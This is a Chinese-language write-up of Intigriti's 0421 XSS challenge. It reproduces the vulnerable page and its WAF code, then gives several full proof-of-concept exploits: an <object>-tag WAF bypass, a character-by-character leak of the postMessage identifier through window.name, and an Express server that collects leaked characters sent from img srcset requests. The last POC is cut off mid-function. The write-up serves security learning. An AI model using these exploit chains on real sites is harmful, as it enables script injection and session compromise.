Intigriti史上最难XSS挑战Writeup
2021-05-10 20:40:21 Author: wiki.ioin.in(查看原文) 阅读量:303 收藏

前言

Intigriti xxs challenge 0421 被官方自己评价为 Intigriti史上最难的 XSS 挑战。在有效提交期内,全球参与的 hacker、CFTer、Bugbounty hunter 中,仅有15人成功通过挑战拿到flag。

该挑战由@terjanq根据他在漏洞挖掘中绕过的真实场景下的waf规则所编写。挑战地址:https://challenge-0421.intigriti.io/ ,以下要求:

使用最新版的Firefox或者Chrome浏览器
使用alert()弹窗flag{THIS_IS_THE_FLAG}
利用此页面的xss漏洞
不允许self-XSS 和 MiTM 攻击
无需用户交互

本人也在提交期内对该挑战进行了尝试,对整个网页以及背后的waf逻辑进行了分析研究,但无奈菜狗一枚,未能在有效提交期内通关。通过赛后公布的poc,对个人思路和通关思路进行复盘,形成本WP,供共同学习交流。感兴趣的小伙伴也可以自行尝试,感受该XSS挑战的难度和乐趣!

代码分析

对题目网页进行分析,主要包括网页源码(index)和一个waf.html(https://challenge-0421.intigriti.io/waf.html)。

(index)

<!DOCTYPE html><html>   <head>      <title>Intigriti April Challenge</title>      <meta charset="UTF-8">      <meta name="twitter:card" content="summary_large_image">      <meta name="twitter:site" content="@intigriti">      <meta name="twitter:creator" content="@intigriti">      <meta name="twitter:title" content="April XSS Challenge - Intigriti">      <meta name="twitter:description" content="Find the XSS and WIN Intigriti swag.">      <meta name="twitter:image" content="https://challenge-0421.intigriti.io/share.jpg">      <meta property="og:url" content="https://challenge-0421.intigriti.io" />      <meta property="og:type" content="website" />      <meta property="og:title" content="April XSS Challenge - Intigriti" />      <meta property="og:description" content="Find the XSS and WIN Intigriti swag." />      <meta property="og:image" content="https://challenge-0421.intigriti.io/share.jpg" />      <link href="https://fonts.googleapis.com/css2?family=Poppins:wght@400;700&display=swap" rel="stylesheet">      <link rel="stylesheet" type="text/css" href="./style.css" />      <meta http-equiv="content-security-policy" content="script-src 'unsafe-inline';">   </head>   <body>      <section id="wrapper">      <section id="rules">      <div class="card-container error" id="error-container">        <div class="card-content" id="error-content">            Error: something went wrong. Please try again!        </div>      </div>      <div id="challenge-container" class="card-container">         <div class="card-header">           <img class="card-avatar" src="./terjanq.png"/>           Intigriti's 0421 XSS challenge - by <a target="_blank" href="https://twitter.com/terjanq">@terjanq</a></span></div>         <div id="challenge-info" class="card-content">            <p>Find a way to execute arbitrary javascript on this page and win Intigriti swag.</p>            <b>Rules:</b>            <ul>               <li>This challenge runs from April 19 until April 25th, 11:59 PM CET.</li>               <li>                  Out of all correct submissions, we will draw <b>six</b> winners on Monday, April 26th:                  <ul>                     <li>Three randomly drawn correct submissions</li>                     <li>Three best write-ups</li>                  </ul>               </li>               <li>Every winner gets a €50 swag voucher for our <a href="https://swag.intigriti.com" target="_blank">swag shop</a></li>               <li>The winners will be announced on our <a href="https://twitter.com/intigriti" target="_blank">Twitter profile</a>.</li>               <li>For every 100 likes, we'll add a tip to <a href="https://go.intigriti.com/challenge-tips" target="_blank">announcement tweet</a>.</li>            </ul>            <b>The solution...</b>            <ul>               <li>Should work on the latest version of Firefox or Chrome</li>               <li>Should <code>alert()</code> the following flag: <code id="flag">flag{THIS_IS_THE_FLAG}</code>.</li>               <li>Should leverage a cross site scripting vulnerability on this page.</li>               <li>Shouldn't be self-XSS or related to MiTM attacks</li>               <li>Should not use any user interaction</li>               <li>Should be reported at <a href="https://go.intigriti.com/submit-solution">go.intigriti.com/submit-solution</a></li>            </ul>          </div>      </div>      <iframe id="wafIframe" src="./waf.html" sandbox="allow-scripts" style="display:none"></iframe>      <script>        const wafIframe = document.getElementById('wafIframe').contentWindow;        const identifier = getIdentifier();
function getIdentifier() { const buf = new Uint32Array(2); crypto.getRandomValues(buf); return buf[0].toString(36) + buf[1].toString(36) }
function htmlError(str, safe){ const div = document.getElementById("error-content"); const container = document.getElementById("error-container"); container.style.display = "block"; if(safe) div.innerHTML = str; else div.innerText = str; window.setTimeout(function(){ div.innerHTML = ""; container.style.display = "none"; }, 10000); }
function addError(str){ wafIframe.postMessage({ identifier, str }, '*'); }
window.addEventListener('message', e => { if(e.data.type === 'waf'){ if(identifier !== e.data.identifier) throw /nice try/ htmlError(e.data.str, e.data.safe) } });
window.onload = () => { const error = (new URL(location)).searchParams.get('error'); if(error !== null) addError(error); }</script> </body></html>

waf.html

<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><script>
onmessage = e => { const identifier = e.data.identifier; e.source.postMessage({ type:'waf', identifier, str: e.data.str, safe: (new WAF()).isSafe(e.data.str) },'*');}
function WAF() { const forbidden_words = ['<style', '<iframe', '<embed', '<form', '<input', '<button', '<svg', '<script', '<math', '<base', '<link', 'javascript:', 'data:']; const dangerous_operators = ['"', "'", '`', '(', ')', '{', '}', '[', ']', '=']
function decodeHTMLEntities(str) { var ta = document.createElement('textarea'); ta.innerHTML = str; return ta.value; }
function onlyASCII(str){ return str.replace(/[^\x21-\x7e]/g,''); }
function firstTag(str){ return str.search(/<[a-z]+/i) }
function firstOnHandler(str){ return str.search(/on[a-z]{3,}/i) }
function firstEqual(str){ return str.search(/=/); }
function hasDangerousOperators(str){ return dangerous_operators.some(op=>str.includes(op)); }
function hasForbiddenWord(str){ return forbidden_words.some(word=>str.search(new RegExp(word, 'gi'))!==-1); }
this.isSafe = function(str) { let decoded = onlyASCII(decodeHTMLEntities(str));
const first_tag = firstTag(decoded); if(first_tag === -1) return true; decoded = decoded.slice(first_tag);
if(hasForbiddenWord(decoded)) return false;
const first_on_handler = firstOnHandler(decoded); if(first_on_handler === -1) return true; decoded = decoded.slice(first_on_handler)
const first_equal = firstEqual(decoded); if(first_equal === -1) return true; decoded = decoded.slice(first_equal+1);
if(hasDangerousOperators(decoded)) return false; return true; }}</script></head><body></body></html>

代码量不大,运行逻辑也很清晰。在主页中可以看到,首先定义了一个随机值identifier:

可以在url中引入error参数进行有关输入,也能进行html injection:

输入值会通过postMessage传递给waf,该消息e.data.indentifier的值为先前生成的随机值,确保交互通信没有被拦截,e.data.str的值为我们的输入:

输入值经过waf的处理后,会对不安全的输入中的各种字符进行检查,经过处理后对e.data.safe打上值,认定输入是否是安全的。当safe:true时,通过htmlError()方法在页面上通过innerHTML innerText 显示有关错误信息,可以用于payload的触发。此外,错误信息会在10秒后被删除:

此外,该页面响应头还X-Frame-Options: DENY ,无法通过外部的<iframe>引用:

下面,对waf.html进行分析。waf 规则对一些特殊标签和字符进行了限制:

['<style', '<iframe', '<embed', '<form', '<input', '<button', '<svg', '<script', '<math', '<base', '<link', 'javascript:', 'data:']
['"', "'", '`', '(', ')', '{', '}', '[', ']', '=']

整个过程是对输入进行纯ascii码、onXXX事件、=以及包含限制标签和字符的检测。经过调试分析,规则允许注入onXXX 事件:

思路分析

在有效提交期内,Intigriti 先后总放出7条hits:

(4.19)First hint: find the objective!
(4.20)Time foranother hint! Where to smuggle data?
(4.20)Time foranother tip! One bite after another!
(4.20)Here’s anextra tip: ++ is also an assignment
(4.22)Let’s giveanother hint:”Behind a Greater Oracle there stands one great Identity” (leakit)
(4.23)Tipping time!Goal < object(ive)
(4.24)Another hint:you might need to unload a custom loop!

这里先卖个关子,先不对hits 背后隐藏线索进行解释。感兴趣的小伙伴可以自行尝试,看看能不能通关这个XSS挑战。

结合上面的代码分析,我有了以下思路:

1.寻找一个可以绕过waf 的payload
2.通过
postMessage 构造合适的消息,达成触发xss的条件
3.突破
identifier随机值的限制

首先考虑如何绕过waf。由于通过error参数值作为的输入需要经过waf的检测,通过前面的分析,waf对很多标签和字符进行了禁止,用于限制恶意代码的执行,可以说规则还是很严格的,很多常用XSS payload 构成方式都不能使用。' " ` 被禁止,所以JS字串形式无法使用,[] {} () = 被禁止,通过函数赋值的形式也无法使用。此外,X-Frame-Options: DENY的限制,使得我们无法通过<iframe>外部引用执行xss,所以思路转向能能够通过输入,在网页内部嵌入一个外部的恶意站点,用来触发xss。此外,我也发现了onXXX=事件可以被插入到输入中,并不被禁止。沿着这两个条件分析,进行了大量的测试,最终发现如下形式的payload可以绕过waf的检测。

<object data=XXXXXXX onload=xss></object>

这里使用了<object>标签(不在waf的禁止范围内),它用于引入一个外部资源:

尝试插入我的头像,成功:

<object data=https://p5.ssl.qhimg.com/sdm/90_90_100/t0125c3f3f3fc1b13fd.png onload=xss></object>

尝试插入一个外部网页,成功

<object data=https://attacker.com/xss-poc.html onload=xss></object>

下面,验证通过window.postMessage控制消息值,达到触发xss的条件。按照这个思路,验证self-xss可行性。可以看到当我们的输入经过waf处理后,e.data.type='waf' e.data.identifer='(事先生成的随机值)'' e.data.str='payload' e.data.safe='true'or 'false'

从前面的分析可以知道,只有safe=true时,构造的payload才能被赋值给div.innerHTML。结合上述条件,这里构造消息信息如下,传递时为e,即可绕过waf的过滤检测:

window.postMessage({        type: 'waf',        identifier: "tze8f445ssb7",        str: '<img src=x onerror=alert("flag{THIS_IS_THE_FLAG}")>',        safe: true      }, '*')

通过postMessage触发xss的思路可行,仅在self-xss条件下可行,因为identifier的值是随机生成的,需要突破该限制。

截止目前,我的思路整理如下:

绕过waf (构造形如<object data=XXXXXXX onload=xss></object>的payload可以bypass waf,同时onXXX=没有被禁止,可以加载外部页面 )
通过postMessage触发xss(self-xss验证可行,可以通过外部页面发送消息)
突破identifier随机值的限制

为了突破identifier随机值的限制,我首先想到的是能不能像SQLi 盲注那这样通过特定的反馈,将值一位一位的试出来。由于identifier是本站生成的,如何在跨站的条件下降该值泄露出来,是关键点的思路。此外,我还发现了一些有趣的点: window.neme="" 可能可以利用,通过特殊方式的将泄露出的字段写入top.name中。

为了能将identifier一位一位泄露出来,需要构造比较。它的构成只包含0-9a-z

那么如何判断每一位值是多少呢,这有由于禁止[],所以无法使用identifier[i]的形式来构造字串进行按位比较。不过我们可以利用以下的规律:

可以看到这里identifier="tze8f445ssb7" 第一位是t,当比较字符小于t时,均返回false,当比较字符为u时,返回true,由此我们可以判定第一位为t。保留t,继续构造第二位t?进行比较:

那么按照这个规律,构造循环进行比较,当每次返回true时,即可判断出当前位的值,同时还需要对前面确定的值保存,才能继续判断下一位。我的思路是通过特定的方法构造这个循环,并通过window.neme=""可以利用的特性,当一个中间的数据”寄存器”。

首先,为了推算identifier第一位,构造如下结构payload:

error=<object data=https://baidu.com/ onload=location.hash+/0/.source<identifier&&window.name++></object>#

这里,当location.hash+/0/.source<identifier'0'<'t'成立,然后&&window.name++ ,即window.name +1。通过onload事件重复这个过程,即可在一轮比较后,通过window.name的值-1,按照0-9a-z的顺序序号,即可推算出identifier第一位的值。这里需要注意,对& + 进行url编码,否则,在运行过程中会被截断,造成payload因不完整无法执行(&& --> %26%26 ++ --> %2b%2b),还需要额外添加~用来检测z

https://challenge-0421.intigriti.io/?error=<object data=https://attacker.com/poc.htmlonload=location.hash+/0/.source<identifier&&window.name++,location.hash+/1/.source<identifier&&window.name++,location.hash+/2/.source<identifier&&window.name++,location.hash+/3/.source<identifier&&window.name++,location.hash+/4/.source<identifier&&window.name++,location.hash+/5/.source<identifier&&window.name++,location.hash+/6/.source<identifier&&window.name++,location.hash+/7/.source<identifier&&window.name++,location.hash+/8/.source<identifier&&window.name++,location.hash+/9/.source<identifier&&window.name++,location.hash+/a/.source<identifier&&window.name++,location.hash+/b/.source<identifier&&window.name++,location.hash+/c/.source<identifier&&window.name++,location.hash+/d/.source<identifier&&window.name++,location.hash+/e/.source<identifier&&window.name++,location.hash+/f/.source<identifier&&window.name++,location.hash+/g/.source<identifier&&window.name++,location.hash+/h/.source<identifier&&window.name++,location.hash+/i/.source<identifier&&window.name++,location.hash+/j/.source<identifier&&window.name++,location.hash+/k/.source<identifier&&window.name++,location.hash+/l/.source<identifier&&window.name++,location.hash+/m/.source<identifier&&window.name++,location.hash+/n/.source<identifier&&window.name++,location.hash+/o/.source<identifier&&window.name++,location.hash+/p/.source<identifier&&window.name++,location.hash+/q/.source<identifier&&window.name++,location.hash+/r/.source<identifier&&window.name++,location.hash+/s/.source<identifier&&window.name++,location.hash+/t/.source<identifier&&window.name++,location.hash+/u/.source<identifier&&window.name++,location.hash+/v/.source<identifier&&window.name++,location.hash+/w/.source<identifier&&window.name++,location.hash+/x/.source<identifier&&window.name++,location.hash+/y/.source<identifier&&window.name++,location.hash+/z/.source<identifier&&window.name++,location.hash+/~/.source<identifier&&window.name++></object>#

可以看到,该payload成功定位到identifier的第一位值。现在需要构造循环,通过13次上述操作(长度为13位),将identifier的值全部泄露出来,每个循环开始前还需要将window.name归零。

当我们将外部POC页面嵌入题目页面后,尝试利用POC页面获取top.name来控制题目页面window.name的时候,发现跨域拦截:

那么,现在还需要突破跨域获取top.name的限制。经过大量的尝试,一直到提交期截止,也没能找到合适的方式,来捕获用于泄露identifierwindow.name。因为不重新加载窗口的情况下,直接读取跨源资源的window.name是不可能的。

通过对赛后POC的思路启发,这里利用了一个特别巧妙的方法。举个例子,当我们执行window.open("http://XXXX",66)时,就会弹出一个window.name='66'的窗口。但如果已经有一个窗口为66,就会执行重定向到该窗口而不是重新弹出。有了这个特性,可以通过一种“试”的方法,暴力测试我们想要获取的题目页面的window.name

这里使用了一个<iframe sanbox=...> 来调用window.open(),允许top导航变化,但会禁止弹出。

<iframe sandbox="allow-scripts allow-top-navigation allow-same-origin" name="xss"></iframe>

同时,当测试出的window.name值与实际值一致时,防止真的重定向发生,设置一个无效的协议xxxx://no-trigger。这里进行一个简单的验证,例如打开一个window.name='6' 的题目页面,通过<objectpayload 将poc.html嵌入,poc.html首内包含测试window.name值的代码:

<script>window.open("https://challenge-0421.intigriti.io/?error=<object data='https://xss-poc.***/poc.html'></object>",3)
function getTopName() { let i = 0; for (; i < 10; i++) { let res = ( () => { let x; try { // shouldn't trigger new navigation x = xss.open('xss://xss', i); // this is for firefox if (x !== null) return 1; return; } catch (e) {} })(); if (res) break; } return i;}
topName = getTopName();console.log("top_window.name"+topName);</script>

当我们打开poc.html后,会弹出https://challenge-0421.intigriti.io/?error=<object data='https://attacker.com/poc.html,在新打开的题目页面,会嵌入https://xss-poc.***/poc.html,然后执行代码,测出题目页window.name值,也就是我们需要的top.name,这样便能突破window.name跨域获取的限制:

例如,结合前面的payload,成功获取identifier第一位对应的window.name值:

<body>  <h1>xss poc</h1>   <span>Leaked identifier: <code id=leakedIdentifier></code></span>   <iframe sandbox="allow-scripts allow-top-navigation allow-same-origin" name="xss"></iframe><script>  window.open("https://challenge-0421.intigriti.io/?error=<object data=https://xss-poc.****/poc.html onload=location.hash%2B%2F0%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2F1%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2F2%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2F3%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2F4%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2F5%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2F6%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2F7%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2F8%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2F9%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fa%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fb%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fc%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fd%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fe%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Ff%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fg%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fh%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fi%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fj%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fk%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fl%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fm%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fn%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fo%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fp%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fq%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fr%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fs%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Ft%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fu%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fv%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fw%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fx%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fy%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2Fz%2F.source%3Cidentifier%26%26window.name%2B%2B%2Clocation.hash%2B%2F%7E%2F.source%3Cidentifier%26%26window.name%2B%2B></object>#")function getTopName() {  let i = 0;  for (; i < 40; i++) {    let res =  ( () => {      let x;      try {        // shouldn't trigger new navigation        x = xss.open('xss://xss', i);        // this is for firefox        if (x !== null) return 1;        return;      } catch (e) {}    })();    if (res) break;  }  return i;}
keywords = "0123456789abcdefghijklmnopqrstuvwxyz~";
function get_char(){ topName = getTopName(); char = keywords[topName-1]; console.log("get_top_window.name: "+ topName); console.log("this_char: "+ char)}setTimeout(get_char,100);</script></body>

结合前面可以通过window.name值的累加推算出identifier某位的字符,现在又可以通过外部页面获得top.name值。通过获得的top.name值找到对应的字符,保存在location.hash中,继续构造循环及比较下去,即可推算出identifier的所有值。为了构造这个循环,需要对重新不停的重新载入题目页面,完成每一次的identifier每一位的求解,这里对payload进行了改进,插入两个<object ...,通过加载一个空的Blob实现:

<object name=poc data=//attacker.com/poc.html></object><object name=xss src=//attacker.com/xss.html onload=XSS></object>
top.xss.location = URL.createObjectURL(new Blob([], { type: 'text/html'}));

当成功泄露出identifier值后,即可构造postMessage消息,实现xss

POC

综上,将所有的思路联合起来就能突破题目的各种限制:
1.
<object绕过waf
2.泄露
identifier随机值
3.构造
postMessage 消息,触发xss

完整的POC如下:

<html><body>    <span>Leaked identifier: <code id=leakedIdentifier></code></span>    <iframe sandbox="allow-scripts allow-top-navigation allow-same-origin" name="xss"></iframe><script>    const keywords = "0123456789abcdefghijklmnopqrstuvwxyz~"    const payload = keywords.split('').map(c =>       `location.hash+/${c}/.source</##/.source+identifier&&++top.name`    ).join(',')    const thisUrl = location.href.replace('http://', 'https://');    const top_url = 'https://challenge-0421.intigriti.io/?error=' + encodeURIComponent(        `<object style=width:100% name=x data=${thisUrl}></object><object data=` +        `//${location.host}/empty.html name=lload onload=${payload}></object>`    );
if (top === window) { let startxss = confirm("Start XSS?"); if(!startxss) throw /stopped/; name = 0; location = top_url + '##' throw /stop/ }
let lastValue = 0; let identifier = ''; let stop = false;
async function getTopName() { let i = 0; // it's just magic. tl;dr chrome and firefox work differently // but this polyglot works for both; for (; i < keywords.length + 1; i++) { let res = await (async () => { let x; try { // shouldn't trigger new navigation x = xss.open('xxxx://no-trigger', i + lastValue); // this is for firefox if (x !== null) return 1; return; } catch (e) {} })(); if (res) break; } return i + lastValue; }
async function watchForNameChange() { let topName = await getTopName(); if (topName !== lastValue) { const newTopName = topName - lastValue; lastValue = topName; get_char(newTopName - 1); } else { setTimeout(watchForNameChange, 60); } }
function oracleLoaded() { watchForNameChange(); }
function log(identifier) { leakedIdentifier.innerHTML = identifier; console.log(identifier); }
function get_char(d) { let c = keywords[d] if (c === '~') { identifier = identifier.slice(0, -1) + keywords[keywords.search(identifier.slice(-1)) + 1]; log(identifier); expxss(identifier); return; } identifier += c; log(identifier); top.location = top_url + '##' + identifier; top.lload.location = URL.createObjectURL(new Blob([ '<script>onload=top.x.oracleLoaded<\/script>' ], { type: 'text/html' })); }
function expxss(identifier) { stop = true; top.postMessage({ type: 'waf', identifier, str: `<img src=x onerror=alert("flag{THIS_IS_THE_FLAG}")>`, safe: true }, '*')
} onload = () => { setTimeout(watchForNameChange, 60); }</script></body></html>

成功实现xss,通过挑战!

这里再对hits进行一个解释:

(4.19)First hint: find the objective!【提示<object>
(4.20)Time foranother hint! Where to smuggle data?【提示
object data以及后面可以利用的locatino.hash
(4.20)Time foranother tip! One bite after another!【提示需要一位一位的泄露
identifier
(4.20)Here’s an extratip: ++ is also an assignment 【提示可以利用++巧妙的跨站测算出
identifier
(4.22)Let’s give anotherhint:”Behind a Greater Oracle there stands one great Identity” (leak it) 【提示构造比较的方式泄露
identifier
(4.23)Tipping time!Goal < object(ive) 【提示利用
<object标签,采用identifier<"str"的方式构造比较】
(4.24)Another hint:you might need to unload a custom loop! 【提示构造循环】

最后,再放一些利用其他方式的POC。
利用
<img>:

var payload = `<img srcset=//my_server/0 id=n0 alt=#><img srcset=//my_server/1 id=n1 alt=a><img srcset=//my_server/2 id=n2 alt=b><img srcset=//my_server/3 id=n3 alt=c><img srcset=//my_server/4 id=n4 alt=d><img srcset=//my_server/5 id=n5 alt=e><img srcset=//my_server/6 id=n6 alt=f><img srcset=//my_server/7 id=n7 alt=g><img srcset=//my_server/8 id=n8 alt=h><img srcset=//my_server/9 id=n9 alt=i><img srcset=//my_server/a id=n10 alt=j><img srcset=//my_server/b id=n11 alt=k><img srcset=//my_server/c id=n12 alt=l><img srcset=//my_server/d id=n13 alt=m><img srcset=//my_server/e id=n14 alt=n><img srcset=//my_server/f id=n15 alt=o><img srcset=//my_server/g id=n16 alt=p><img srcset=//my_server/h id=n17 alt=q><img srcset=//my_server/i id=n18 alt=r><img srcset=//my_server/j id=n19 alt=s><img srcset=//my_server/k id=n20 alt=t><img srcset=//my_server/l id=n21 alt=u><img srcset=//my_server/m id=n22 alt=v><img srcset=//my_server/n id=n23 alt=w><img srcset=//my_server/o id=n24 alt=x><img srcset=//my_server/p id=n25 alt=y><img srcset=//my_server/q id=n26 alt=z><img srcset=//my_server/r id=n27 alt=0><img srcset=//my_server/s id=n28><img srcset=//my_server/t id=n29><img srcset=//my_server/u id=n30><img srcset=//my_server/v id=n31><img srcset=//my_server/w id=n32><img srcset=//my_server/x id=n33><img srcset=//my_server/y id=n34><img srcset=//my_server/z id=n35>
<img id=lo srcset=//my_server/loop onerror=n0.alt+identifier<location.hash+1?n0.src+++lo.src++:n0.alt+identifier<location.hash+2?n1.src+++lo.src++:n0.alt+identifier<location.hash+3?n2.src+++lo.src++:n0.alt+identifier<location.hash+4?n3.src+++lo.src++:n0.alt+identifier<location.hash+5?n4.src+++lo.src++:n0.alt+identifier<location.hash+6?n5.src+++lo.src++:n0.alt+identifier<location.hash+7?n6.src+++lo.src++:n0.alt+identifier<location.hash+8?n7.src+++lo.src++:n0.alt+identifier<location.hash+9?n8.src+++lo.src++:n0.alt+identifier<location.hash+n1.alt?n9.src+++lo.src++:n0.alt+identifier<location.hash+n2.alt?n10.src+++lo.src++:n0.alt+identifier<location.hash+n3.alt?n11.src+++lo.src++:n0.alt+identifier<location.hash+n4.alt?n12.src+++lo.src++:n0.alt+identifier<location.hash+n5.alt?n13.src+++lo.src++:n0.alt+identifier<location.hash+n6.alt?n14.src+++lo.src++:n0.alt+identifier<location.hash+n7.alt?n15.src+++lo.src++:n0.alt+identifier<location.hash+n8.alt?n16.src+++lo.src++:n0.alt+identifier<location.hash+n9.alt?n17.src+++lo.src++:n0.alt+identifier<location.hash+n10.alt?n18.src+++lo.src++:n0.alt+identifier<location.hash+n11.alt?n19.src+++lo.src++:n0.alt+identifier<location.hash+n12.alt?n20.src+++lo.src++:n0.alt+identifier<location.hash+n13.alt?n21.src+++lo.src++:n0.alt+identifier<location.hash+n14.alt?n22.src+++lo.src++:n0.alt+identifier<location.hash+n15.alt?n23.src+++lo.src++:n0.alt+identifier<location.hash+n16.alt?n24.src+++lo.src++:n0.alt+identifier<location.hash+n17.alt?n25.src+++lo.src++:n0.alt+identifier<location.hash+n18.alt?n26.src+++lo.src++:n0.alt+identifier<location.hash+n19.alt?n27.src+++lo.src++:n0.alt+identifier<location.hash+n20.alt?n28.src+++lo.src++:n0.alt+identifier<location.hash+n21.alt?n29.src+++lo.src++:n0.alt+identifier<location.hash+n22.alt?n30.src+++lo.src++:n0.alt+identifier<location.hash+n23.alt?n31.src+++lo.src++:n0.alt+identifier<location.hash+n24.alt?n32.src+++lo.src++:n0.alt+identifier<location.hash+n25.alt?n33.src+++lo.src++:n0.alt+identifier<location.hash+n26.alt?n34.src+++lo.src++:n35.src+++lo.src++>`
<!DOCTYPE html><html> <head> <meta charset="UTF-8"> </head> <body> </body> <script> var payload = // see above payload = encodeURIComponent(payload)
var baseUrl = 'https://my_server'
// reset first fetch(baseUrl + '/reset').then(() => { start() })
async function start() { // assume identifier start with 1 console.log('POC started') if (window.xssWindow) { window.xssWindow.close() }
window.xssWindow = window.open(`https://challenge-0421.intigriti.io/?error=${payload}#1`, '_blank')
polling() }
function polling() { fetch(baseUrl + '/polling').then(res => res.text()).then((token) => {
// guess fail, restart if (token === '1zz') { fetch(baseUrl + '/reset').then(() => { console.log('guess fail, restart') start() }) return }
if (token.length >= 10) { window.xssWindow.postMessage({ type: 'waf', identifier: token, str: '<img src=xxx onerror=alert("flag{THIS_IS_THE_FLAG}")>', safe: true }, '*') }
window.xssWindow.location = `https://challenge-0421.intigriti.io/?error=${payload}#${token}`
// After POC finsihed, polling will timeout and got error message, I don't want to print the message if (token.length > 20) { return }
console.log('token:', token) polling() }) } </script></html>
var express = require('express')
const app = express()
app.use(express.static('public'));app.use((req, res, next) => { res.set('Access-Control-Allow-Origin', '*'); next()})
const handlerDelay = 100const loopDelay = 550
var initialData = { count: 0, token: '1', canStartLoop: false, loopStarted: false, canSendBack: false}var data = {...initialData}
app.get('/reset', (req, res) => { data = {...initialData} console.log('======reset=====') res.end('reset ok')})
app.get('/polling', (req, res) => { function handle(req, res) { if (data.canSendBack) { data.canSendBack = false res.status(200) res.end(data.token) console.log('send back token:', data.token)
if (data.token.length < 14) { setTimeout(() => { data.canStartLoop = true }, loopDelay) } } else { setTimeout(() => { handle(req, res) }, handlerDelay) } }
handle(req, res)})
app.get('/loop', (req, res) => { function handle(req, res) { if (data.canStartLoop) { data.canStartLoop = false res.status(500) res.end() } else { setTimeout(() => { handle(req, res) }, handlerDelay) } }
handle(req, res)})
app.get('/:char', (req, res) => { // already start stealing identifier if (req.params.char.length > 1) { res.end() return } console.log('char received', req.params.char) if (data.loopStarted) { data.token += req.params.char console.log('token:', data.token) data.canSendBack = true
res.status(500) res.end() return }
// first round data.count++ if (data.count === 36) { console.log('initial image loaded, start loop') data.count = 0 data.loopStarted = true data.canStartLoop = true } res.status(500) res.end()})
app.listen(5555, () => { console.log('5555')})

另一个POC:

<!DOCTYPE html><html>  <head>    <link rel="icon" href="data:;base64,iVBORw0KGgo=" />  </head>  <body>    <script>      let currentIdentifier = "1";
function getIdentifier() { return currentIdentifier; }
async function setIdentifier(identifier) { console.log("CHANGE GUESS CALLED", identifier); if (identifier == currentIdentifier) return; checkWindow.location = `http://localhost:3000/opener.html?not`; await waitUntilWriteable(checkWindow);
checkWindow.name = "" + identifier; checkWindow.location = `https://challenge-0421.intigriti.io/style.css`; currentIdentifier = "" + identifier; await waitForLocationChange( checkWindow, `https://challenge-0421.intigriti.io/style.css` ); }
async function waitForLocationChange(windowReference, location) { return new Promise((resolve) => { const handle = setInterval(() => { try { if (windowReference.location.href.includes(location)) { clearInterval(handle); setTimeout(resolve, 100); } } catch (e) {} }); }); }
async function waitUntilWriteable(windowReference) { return new Promise((resolve) => { const handle = setInterval(() => { try { if (windowReference.name.length) { clearInterval(handle); setTimeout(resolve, 100); } } catch (e) {} }); }); }
(async () => { checkWindow = window.open(`http://localhost:3000/opener.html`, "1"); await waitForLocationChange( checkWindow, `http://localhost:3000/opener.html` ); checkWindow.location = `https://challenge-0421.intigriti.io/style.css`; })();</script> </body></html>
<!DOCTYPE html><html> <head> <link rel="icon" href="data:;base64,iVBORw0KGgo=" /> </head> <body> <script> if (location.search.includes("not") === false) { w = window.open( `https://challenge-0421.intigriti.io/?error=` + encodeURIComponent( `<object id=poc data=http://localhost:3000/solver.html width=101 height=101></object> <video muted loop autoplay src=https://www.w3schools.com/jsref/mov_bbb.mp4 ontimeupdate=window.opener.name<identifier?poc.height++:poc.width++>` ), "_blank" ); }</script> </body></html>
<!DOCTYPE html><html> <head> <link rel="icon" href="data:;base64,iVBORw0KGgo=" /> </head> <body> <script> let lastHeight = 101; let lastWidth = 101; const chars = "0123456789abcdefghijklmnopqrstuvwxyz{".split(""); let solvedIdentifier = "";
let checks = 0; let checksNeeded = 15;
function trySolve() { try { window.parent.postMessage( { type: "waf", identifier: solvedIdentifier, safe: true, str: "<img src=x onerror=alert('flag{THIS_IS_THE_FLAG}')>", }, "*" ); } catch (e) {} }
async function foundChar(char) { console.log("FOUND CHAR: ", char); solvedIdentifier = `${solvedIdentifier}${char}`; console.log("TOTAL SOLVED", solvedIdentifier); await window.parent.opener.opener.setIdentifier(`${solvedIdentifier}1`);
